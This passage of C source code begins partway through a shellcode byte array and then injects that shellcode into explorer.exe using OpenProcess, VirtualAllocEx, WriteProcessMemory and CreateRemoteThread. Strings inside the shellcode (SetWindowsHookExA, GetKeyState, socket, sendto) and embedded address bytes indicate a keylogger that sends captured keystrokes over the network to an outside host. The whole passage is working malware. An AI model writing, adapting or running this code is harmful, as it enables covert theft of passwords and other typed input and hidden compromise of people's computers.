x8d\x4f\x40\x41\xff\xd5\x48\x83\xc4\x38\x48\x31\xc9\x66\xb9\x98\x01\x48\x29\xcc\x48\x83\xc1\x6a\x48\x8d\x14\x24\x48\x8b\x5f\x40\xff\xd3\x48\x31\xc9\xb1\x02\x51\x51\x5a\x41\x58\x41\xb0\x11\x48\x8b\x5f\x48\xff\xd3\x48\x89\x47\x08\x48\x8b\x1f\x48\x31\xc9\xff\xd3\x41\xc6\x07\x02\x66\x41\xc7\x47\x02\xdb\x83\x41\xc7\x47\x04\xc1\xa1\xc1\x63\x4d\x31\xc9\x41\x51\x41\x51\x59\x5a\xb1\x0d\x49\x89\xc0\xb2\xbc\x4c\x01\xea\x48\x8b\x5f\x10\xff\xd3\x49\x8d\x4c\x24\x08\x48\x31\xd2\x52\x52\x41\x58\x41\x59\x48\x8b\x5f\x28\xff\xd3\x49\x8d\x4c\x24\x08\x48\x8b\x5f\x30\xff\xd3\x49\x8d\x4c\x24\x08\x48\x8b\x5f\x38\xff\xd3\xeb\xd4\x47\x65\x74\x4d\x6f\x64\x75\x6c\x65\x48\x61\x6e\x64\x6c\x65\x41\x01\x4c\x6f\x61\x64\x4c\x69\x62\x72\x61\x72\x79\x41\x01\x53\x65\x74\x57\x69\x6e\x64\x6f\x77\x73\x48\x6f\x6f\x6b\x45\x78\x41\x01\x43\x61\x6c\x6c\x4e\x65\x78\x74\x48\x6f\x6f\x6b\x45\x78\x01\x47\x65\x74\x4b\x65\x79\x53\x74\x61\x74\x65\x01\x47\x65\x74\x4d\x65\x73\x73\x61\x67\x65\x41\x01\x54\x72\x61\x6e\x73\x6c\x61\x74\x65\x4d\x65\x73\x73\x61\x67\x65\x01\x44\x69\x73\x70\x61\x74\x63\x68\x4d\x65\x73\x73\x61\x67\x65\x41\x01\x57\x53\x41\x53\x74\x61\x72\x74\x75\x70\x01\x73\x6f\x63\x6b\x65\x74\x01\x73\x65\x6e\x64\x74\x6f\x01\x56\x57\x41\x50\x52\x41\x51\x51\x41\x5b\x48\x31\xdb\x53\x53\x5a\x58\x8b\x59\x3c\x48\x01\xcb\xb2\x88\x8b\x04\x13\x48\x01\xc8\x48\x31\xd2\x52\x52\x52\x41\x58\x41\x59\x41\x5a\x44\x8b\x40\x20\x4d\x01\xd8\x44\x8b\x48\x24\x4d\x01\xd9\x44\x8b\x50\x1c\x4d\x01\xda\x48\x31\xd2\x48\x31\xf6\x56\x59\x41\x8b\x34\x90\x4c\x01\xde\x48\x8b\x7c\x24\x08\x48\x31\xc0\x8a\x04\x0f\x48\xff\xc1\x3c\x01\x75\xf6\x48\xff\xc2\x51\x48\xff\xc9\x48\x87\xf7\xf3\xa6\x59\x75\xd3\x48\xff\xca\x48\x8b\x7c\x24\x08\x48\x01\xcf\x48\x89\x7c\x24\x08\x48\x31\xdb\x53\x58\x66\x41\x8b\x1c\x51\x41\x8b\x04\x9a\x4c\x01\xd8\x48\x8b\x1c\x24\x48\x89\x03\x48\x83\xc3\x08\x48\x89\x1c\x24\x48\x8b\x5c\x24\x10\x48\xff\xcb\x48\x89\x5c\x24\x10\x48\x31\xd2\x48\x39\xd3\x75\x8e\x48\x83\xc4\x18\x5f\x5e\xc3\x48\x83\xec\x58\x41\x50\x52\x51\x48\x31\xf6\x48\xb8\x48\x45\x52\x45\x49\x54\x49\x53\x4c\x8b\x14\x34\x48\xff\xc6\x49\x39\xc2\x75\xf4\x48\x83\xc6\x07\x48\x8d\x1c\x34\x48\x8b\x3b\x4c\x8b\x63\x08\x4c\x8b\x7b\x10\x48\x85\xc9\x75\x68\x48\x31\xdb\xb3\x01\x48\xc1\xe3\x08\x48\x39\xda\x75\x5a\x48\x8b\x5f\x20\x48\x31\xc9\xb1\x14\xff\xd3\x66\x41\x89\x04\x24\x48\x8b\x5f\x20\x48\x31\xc9\xb1\x10\xff\xd3\x66\x41\x89\x44\x24\x02\x48\x8b\x5c\x24\x10\x8b\x03\x41\x89\x44\x24\x04\x48\x83\xec\x58\x48\x8b\x4f\x08\x41\x54\x5a\x4d\x31\xc9\x41\x51\x41\x58\x41\xb0\x10\x4c\x89\x7c\x24\x20\x4c\x89\x44\x24\x28\x49\x83\xe8\x08\x48\x8b\x5f\x50\xff\xd3\x48\x83\xc4\x58\x5a\x41\x58\x41\x59\x48\x8b\x5f\x18\x48\x31\xc9\xff\xd3\x48\x83\xc4\x58\xc3";
int main()
{
HANDLE s,proc;
PROCESSENTRY32 ps;
BOOL process_found=0;
LPVOID shell;
SIZE_T total;
//finding explorer.exe pid
ps.dwSize=sizeof(ps);
s=CreateToolhelp32Snapshot(2,0);
if(s==INVALID_HANDLE_VALUE)
{
printf("CreateToolhelp32Snapshot() failed.Error code %d\n",GetLastError());
return -1;
}
if(!Process32First(s,&ps))
{
printf("Process32First() failed.Error code %d\n",GetLastError());
return -1;
}
do{
if(0==strcmp(ps.szExeFile,"explorer.exe"))
{
process_found=1;
break;
}
}while(Process32Next(s,&ps));
if(!process_found)
{
printf("Unknown Process\n");
return -1;
}
//opening process using pid
proc=OpenProcess(PROCESS_ALL_ACCESS,0,ps.th32ProcessID);
if(proc==INVALID_HANDLE_VALUE)
{
printf("OpenProcess() failed.Error code %d\n",GetLastError());
return -1;
}
//allocating memory process memory
if( (shell=VirtualAllocEx(proc,NULL,sizeof(shellcode),MEM_COMMIT,PAGE_EXECUTE_READWRITE)) == NULL)
{
printf("Failed to allocate memory into process");
CloseHandle(proc);
return -1;
}
//writing shellcode into process memory
WriteProcessMemory(proc,shell,shellcode,sizeof(shellcode),&total);
if(sizeof(shellcode)!=total)
{
printf("Failed write shellcode into process memory");
CloseHandle(proc);
return -1;
}
//Executing shellcode
if((s=CreateRemoteThread(proc,NULL,0,(LPTHREAD_START_ROUTINE)shell,NULL,0,0))==NULL)
{
printf("Failed to Execute shellcode");
CloseHandle(proc);
return -1;
}
CloseHandle(proc);
CloseHandle(s);
return 0;
}
